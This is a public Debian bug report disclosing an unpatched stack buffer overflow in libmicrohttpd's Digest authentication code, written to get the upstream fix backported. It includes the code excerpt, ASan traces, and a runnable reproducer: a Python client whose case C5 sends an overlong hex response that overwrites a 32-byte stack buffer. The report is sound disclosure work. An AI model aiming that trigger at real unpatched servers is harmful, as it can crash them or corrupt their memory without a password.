Source: libmicrohttpd Version: 1.0.1-4 Severity: important Tags: security upstream patch
libmicrohttpd 1.0.1-4 in trixie has a remote stack buffer overflow in its Digest authentication code that upstream fixed in July and that was never backported. Any HTTP client of a program that uses the 1.0 Digest API can write attacker-chosen bytes past a 32-byte stack buffer in the server, without the password. In src/microhttpd/digestauth.c (1.0.1, line 2953), digest_auth_check_all_inner() hex-decodes the client's response= value into hash1_bin[MAX_DIGEST] (32 bytes) with MHD_hex_to_bin() and checks the length only after the decode. A response= of more than 64 hex characters writes len/2 bytes, set by the client, over the stack after hash1_bin. The client needs a user name the application knows, the protection space name from the 401 challenge and a fresh nonce from the same challenge. It does not need the password. Upstream fixed this in commit 5a73c1a (2026-07-27), released in 1.0.7, with a length check before the decode. forky and sid have 1.0.10 and 1.0.11. trixie (1.0.1-4) is unpatched. Ubuntu 24.04 (1.0.0) has the same code, and is tracked in Launchpad bug 2178288. We found no CVE for it. bookworm's 0.9.75 predates the rewritten Digest code. We ran upstream 1.0.1 with ASan behind a minimal Digest app: stack-buffer-overflow WRITE in MHD_hex_to_bin (mhd_str.c:1736) called from digest_auth_check_all_inner (digestauth.c:2953). On the stock trixie package the same request executes the overflowing decode. With a 32-byte overwrite it answered 401 and stayed up. Upstream 1.0.10 rejects the request with no ASan report. The attached backport-response-length-1.0.1.patch is the minimal hunk from 5a73c1a for 1.0.0 and 1.0.1 (it applies to upstream 1.0.1). Upstream 1.0.7 and 1.0.8 contain more fixes from the same reporter, so the whole 1.0.7 to 1.0.8 delta is worth a look. Attached: details.txt, backport-response-length-1.0.1.patch, and repro.txt, a text bundle with the test app, client, Dockerfile, run script and our output. The Security Team asked for this to be filed as a public bug. Thanks, ozgun kultekin, wakefield (wakefield.co)
libmicrohttpd 1.0.0 / 1.0.1: Digest response= hex decode overflows a stack
buffer (fixed upstream in 1.0.7)
Code (upstream 1.0.1, src/microhttpd/digestauth.c)
uint8_t hash1_bin[MAX_DIGEST]; /* line 2550, 32 bytes */
...
unq_res = get_unquoted_param (¶ms->response, tmp1, ptmp2, &tmp2_size,
&unquoted);
if (_MHD_UNQ_OK != unq_res)
return MHD_DAUTH_ERROR;
if (digest_size != MHD_hex_to_bin (unquoted.str, unquoted.len, hash1_bin))
/* line 2953 */
MHD_hex_to_bin() (mhd_str.c:1736) writes len/2 bytes. The response= value is
bounded only by the request header size. The comparison with digest_size
happens after the write.
Upstream fix: commit 5a73c1a (2026-07-27), released in 1.0.7. It adds
if (unquoted.len > MAX_AUTH_RESPONSE_LENGTH)
return MHD_DAUTH_ERROR;
before the decode (digestauth.c:2992 in 1.0.10). ChangeLog: "Fixing various
vulnerabilities reported by A. Ramos resulting in possible crashes or
out-of-bounds stack writes for certain requests in specific configurations." No
CVE found on 2026-11-24.
Requirements
An application built on libmicrohttpd that calls MHD_digest_auth_check3() /
MHD_digest_auth_check_digest3() or the 1.0 wrappers. The client sends:
Authorization: Digest username="<known user>", realm="<realm>",
uri="<request uri>", nonce="<nonce from the 401>", response="<more than 64 hex
chars>", ...
The user name and the protection space name (the value the server sends in its
401 challenge) are compared before the response is decoded. The password is not
needed.
Versions
upstream 1.0.1 affected, run with ASan
Debian 13 trixie 1.0.1-4 affected, the overflowing decode runs
on the stock package (no crash with a 32-byte overwrite)
Ubuntu 24.04 noble 1.0.0-2.1ubuntu2 affected by source reading (same code),
not built
Debian forky 1.0.10-1, sid 1.0.11-1 fixed
upstream 1.0.10 fixed, run with ASan: 401, no report
Debian 12 bookworm 0.9.75-6 older Digest code, not this bug
Reproducer (repro/)
./run.sh
run.sh downloads libmicrohttpd-1.0.1.tar.gz (sha256
a89e09fc9b4de34dde19f4fcb4faaa1ce10299b9908db1132bbfa1de47882b94), builds the
image from Dockerfile and runs offline. mhdapp.c is a minimal Digest app
modelled on upstream's digest_auth_example_adv.c (user alice, protection space
lab@embhttp). dclient.py 127.0.0.1 8080 sends controls C1 to C4 and C6 to C8
and the trigger C5 (the correct response plus 64 extra hex characters).
Our output (repro/run-2026-11-20.txt)
stock Debian 13 1.0.1-4: C5 answered 401, server alive afterwards (C8 200)
upstream 1.0.1 + ASan: C5 drops the connection;
ERROR: AddressSanitizer: stack-buffer-overflow
WRITE of size 1
MHD_hex_to_bin mhd_str.c:1736
digest_auth_check_all_inner digestauth.c:2953
MHD_digest_auth_check3 digestauth.c:3191
Backport
backport-response-length-1.0.1.patch is the one hunk above against upstream
1.0.1 (patch --dry-run clean on the upstream tarball, not tried on the Debian
or Ubuntu patched trees).
backport-response-length-1.0.1.patch
Description: Binary data
===== Dockerfile =====
# Debian 13 stock libmicrohttpd (1.0.1-4 at test time) + upstream 1.0.1 built
with ASan (tarball copied in by run.sh)
FROM debian:trixie
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y
--no-install-recommends \
build-essential pkg-config libmicrohttpd-dev python3 && rm -rf
/var/lib/apt/lists/*
COPY mhdapp.c dclient.py libmicrohttpd-1.0.1.tar.gz /lab/
RUN cd /lab && gcc -O1 -o mhdapp-deb mhdapp.c -lmicrohttpd && tar xzf
libmicrohttpd-1.0.1.tar.gz && mkdir obj && cd obj && \
CFLAGS='-O1 -g -fsanitize=address -fno-omit-frame-pointer'
LDFLAGS=-fsanitize=address ../libmicrohttpd-1.0.1/configure --disable-https
--disable-doc --disable-examples >/dev/null && make -j4 >/dev/null && \
cd /lab && gcc -O1 -g -fsanitize=address -Iobj/src/include
-Ilibmicrohttpd-1.0.1/src/include -o mhdapp-asan mhdapp.c
obj/src/microhttpd/.libs/libmicrohttpd.so
-Wl,-rpath,/lab/obj/src/microhttpd/.libs
===== dclient.py =====
#!/usr/bin/env python3
"""embhttp lab Digest client: controls + malformed-response probes. Usage:
dclient.py host port"""
import hashlib, http.client, re, sys
H, P = sys.argv[1], int(sys.argv[2])
USER, REALM, PW = "alice", "lab@embhttp", "Secret-2026"
def req(auth=None, uri="/x"):
c = http.client.HTTPConnection(H, P, timeout=5)
hd = {"Authorization": auth} if auth else {}
try:
c.request("GET", uri, headers=hd)
r = c.getresponse()
return r.status, r.getheader("WWW-Authenticate"), r.read()
except Exception as e: # connection reset = server died
return "EXC:" + type(e).__name__, None, b""
def challenge():
st, wa, _ = req()
m = re.search(r'nonce="([^"]+)"', wa or "")
a = re.search(r'algorithm=([\w-]+)', wa or "")
return m.group(1), (a.group(1) if a else "MD5")
def h(alg, s):
return (hashlib.sha256 if alg.upper().startswith("SHA-256") else
hashlib.md5)(s.encode()).hexdigest()
def resp(alg, nonce, pw=PW, nc="00000001", cnonce="c0ffee", uri="/x"):
ha1 = h(alg, f"{USER}:{REALM}:{pw}")
ha2 = h(alg, f"GET:{uri}")
return h(alg, f"{ha1}:{nonce}:{nc}:{cnonce}:auth:{ha2}")
def hdr(alg, nonce, response, nc="00000001", cnonce="c0ffee", uri="/x"):
return (f'Digest username="{USER}", realm="{REALM}", nonce="{nonce}",
uri="{uri}", '
f'algorithm={alg}, response="{response}", qop=auth, nc={nc},
cnonce="{cnonce}"')
def case(name, mk):
nonce, alg = challenge()
st, _, body = req(mk(nonce, alg))
print(f"{name:45s} -> {st} {body[:20]!r}")
case("C1 correct password", lambda n, a: hdr(a, n, resp(a, n)))
case("C2 wrong password", lambda n, a: hdr(a, n, resp(a, n, pw="wrong")))
case("C3 empty response", lambda n, a: hdr(a, n, ""))
case("C4 truncated response (first 8 hex)", lambda n, a: hdr(a, n, resp(a,
n)[:8]))
case("C5 correct + 64 extra hex (128 chars)", lambda n, a: hdr(a, n, resp(a, n)
+ "41" * 32))
case("C6 128 hex 'ff'", lambda n, a: hdr(a, n, "ff" * 64))
case("C7 garbage nonce", lambda n, a: hdr(a, "A" * len(n), resp(a, "A" *
len(n))))
print("after probes, control again:")
case("C8 correct password (server alive?)", lambda n, a: hdr(a, n, resp(a, n)))
===== mhdapp.c =====
/* embhttp lab: minimal libmicrohttpd digest-auth app (pattern of
src/examples/digest_auth_example_adv.c) */
#include <microhttpd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define REALM "lab@embhttp"
#define USER "alice"
#define PASS "Secret-2026"
static enum MHD_Result
ahc (void *cls, struct MHD_Connection *c, const char *url, const char *method,
const char *version, const char *upload_data, size_t *upload_data_size,
void **req_cls)
{
struct MHD_Response *r;
enum MHD_Result ret;
enum MHD_DigestAuthResult res;
static const char ok[] = "SECRET-PAGE\n";
static const char deny[] = "denied\n";
(void) cls; (void) url; (void) method; (void) version; (void) upload_data;
(void) upload_data_size; (void) req_cls;
res = MHD_digest_auth_check3 (c, REALM, USER, PASS, 300, 0,
MHD_DIGEST_AUTH_MULT_QOP_AUTH,
MHD_DIGEST_AUTH_MULT_ALGO3_ANY_NON_SESSION);
fprintf (stderr, "check3 -> %d\n", (int) res);
if (MHD_DAUTH_OK == res)
{
r = MHD_create_response_from_buffer_static (sizeof(ok) - 1, ok);
ret = MHD_queue_response (c, MHD_HTTP_OK, r);
}
else
{
r = MHD_create_response_from_buffer_static (sizeof(deny) - 1, deny);
ret = MHD_queue_auth_required_response3 (c, REALM, "op", NULL, r,
(MHD_DAUTH_NONCE_STALE == res),
MHD_DIGEST_AUTH_MULT_QOP_AUTH,
MHD_DIGEST_AUTH_MULT_ALGO3_SHA256,
0, 0);
}
MHD_destroy_response (r);
return ret;
}
int
main (int argc, char **argv)
{
struct MHD_Daemon *d;
static char rnd[32];
FILE *f = fopen ("/dev/urandom", "rb");
if (! f || fread (rnd, 1, sizeof(rnd), f) != sizeof(rnd)) return 1;
fclose (f);
d = MHD_start_daemon (MHD_USE_INTERNAL_POLLING_THREAD | MHD_USE_ERROR_LOG,
argc > 1 ? atoi (argv[1]) : 8080, NULL, NULL, &ahc,
NULL,
MHD_OPTION_DIGEST_AUTH_RANDOM, sizeof(rnd), rnd,
MHD_OPTION_NONCE_NC_SIZE, 300,
MHD_OPTION_END);
if (! d) return 2;
fprintf (stderr, "MHD %s listening\n", MHD_get_version ());
for (;;) pause ();
}
===== run-2026-11-20.txt =====
=== deb (stock Debian 13 libmicrohttpd12t64 1.0.1-4, non-ASan)
C1 correct password -> 200 b'SECRET-PAGE\n'
C2 wrong password -> 401 b'denied\n'
C3 empty response -> 401 b'denied\n'
C4 truncated response (first 8 hex) -> 401 b'denied\n'
C5 correct + 64 extra hex (128 chars) -> 401 b'denied\n'
C6 128 hex 'ff' -> 401 b'denied\n'
C7 garbage nonce -> 401 b'denied\n'
after probes, control again:
C8 correct password (server alive?) -> 200 b'SECRET-PAGE\n'
MHD 1.0.1 listening
check3 -> -1
check3 -> 1
libmicrohttpd.so.12 => /lib/x86_64-linux-gnu/libmicrohttpd.so.12
(0x00007fd2dfb30000)
=== 1.0.1-asan
C1 correct password -> 200 b'SECRET-PAGE\n'
C2 wrong password -> 401 b'denied\n'
C3 empty response -> 401 b'denied\n'
C4 truncated response (first 8 hex) -> 401 b'denied\n'
C5 correct + 64 extra hex (128 chars) -> EXC:RemoteDisconnected b''
==7==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f0ee03fd520
at pc 0x7f0ee3ed6031 bp 0x7f0ee12f5010 sp 0x7f0ee12f5008
WRITE of size 1 at 0x7f0ee03fd520 thread T1
#0 0x7f0ee3ed6030 in MHD_hex_to_bin
../../../libmicrohttpd-1.0.1/src/microhttpd/mhd_str.c:1736
#1 0x7f0ee3ee84f9 in digest_auth_check_all_inner
../../../libmicrohttpd-1.0.1/src/microhttpd/digestauth.c:2953
#2 0x7f0ee3eebf02 in digest_auth_check_all
../../../libmicrohttpd-1.0.1/src/microhttpd/digestauth.c:3101
#3 0x7f0ee3eebf02 in MHD_digest_auth_check3
../../../libmicrohttpd-1.0.1/src/microhttpd/digestauth.c:3191
#0 0x7f0ee3ee6205 in digest_auth_check_all_inner
../../../libmicrohttpd-1.0.1/src/microhttpd/digestauth.c:2545
#0 0x7f0ee4003ae1 in pthread_create
../../../../src/libsanitizer/asan/asan_interceptors.cpp:245
libmicrohttpd12t64:amd64 1.0.1-4
===== run.sh =====
#!/bin/bash
# Digest response longer than the digest -> MHD_hex_to_bin overflows
hash1_bin[32] (digestauth.c:2953, MHD < 1.0.7).
# Runs server + client in one container, --network none, non-root. Network
needed only for the tarball/apt build.
set -eu
cd "$(dirname "$0")"
[ -f libmicrohttpd-1.0.1.tar.gz ] || curl -fsSLO
https://ftpmirror.gnu.org/libmicrohttpd/libmicrohttpd-1.0.1.tar.gz
IMAGE=${IMAGE:-l127-mhd}
docker image inspect "$IMAGE" >/dev/null 2>&1 || docker build -t "$IMAGE" .
for v in deb asan; do
echo "=== mhdapp-$v"
docker run --rm --network none --memory 2g --user 65534:65534 -e
ASAN_OPTIONS=detect_leaks=0 "$IMAGE" sh -c "
/lab/mhdapp-$v 8080 >/tmp/s.log 2>&1 & sleep 1
timeout 60 python3 /lab/dclient.py 127.0.0.1 8080 2>&1 | grep -E
'^C[0-9]|after'; sleep 1
grep -E 'ERROR|WRITE|#[0-3] |SUMMARY' /tmp/s.log | head -8; dpkg-query -W
'libmicrohttpd12*'"
done

